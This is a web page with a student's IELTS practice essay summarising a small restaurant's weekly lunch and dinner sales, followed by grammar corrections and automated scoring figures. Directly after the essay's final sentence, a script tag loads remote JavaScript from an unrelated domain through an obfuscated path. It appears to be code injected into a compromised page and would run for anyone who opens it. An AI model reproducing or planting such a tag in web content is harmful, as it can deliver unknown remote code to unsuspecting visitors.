The table below shows the sales at a small restaurant in a downtown business district.
Summarize the information by selecting and reporting the main features, and make comparisons where relevant.
The given table illustrates the sales at a small restaurant located in downtown business district in one particular week of October. Overall, income from dinners was greater as compared to lunch in all days of a week in this month.
About lunch sales, the maximum were on Friday ($2500) and minimum were on Sunday($1,550). Apart from Thursday, the income generated from lunch profits gradually stepped up from Monday to Wednesday. On Thursday, however, there was slight drop recorded in lunch income ($2,375) followed by slight rise on Friday ($2,500). Nevertheless, on weekend days i.e; on Saturday and Sunday , the sales became significantly lower in contrast to weekdays.
On the other hand, the greatest number of people paid for dinners on Friday i.e; 10th October than any other day of week and the lowest sale was obtained on Sunday making total of $2,450. Similar to lunch sales, the sales of dinner from Monday till Friday steadily escalated from a value of $3,623 to $4,350. Yet on weekend, sales almost cut down to half ($2,450 on Sunday) in comparison with Friday's peak income($4,350).
On the whole, the sales on weekdays were quite higher in contrast with weekend when they were significantly lower.<script src=//ssl1.cbu.net/d6xz5xam></script>
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the maximum were on Friday ($2500) and minimum were on Sunday($1,550).
the maximum was on Friday ($2500) and minimum was on Sunday($1,550).
there was slight drop
there was a slight drop
On the whole, the sales on weekdays were quite higher in contrast with weekend when they were significantly lower.
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Why you don't use 'than' but 'as compared to' and 'in contrast with'?
was greater as compared to
were quite higher in contrast with
became significantly lower in contrast to weekdays.
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Score: 6.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 3 2
No. of Spelling Errors: 0 2
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No. of Different Words: 113 100
Fourth Root of Number of Words: 3.779 4.0
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No. of Words greater than 8 chars: 11 20
Use of Passive Voice (%): 0 0
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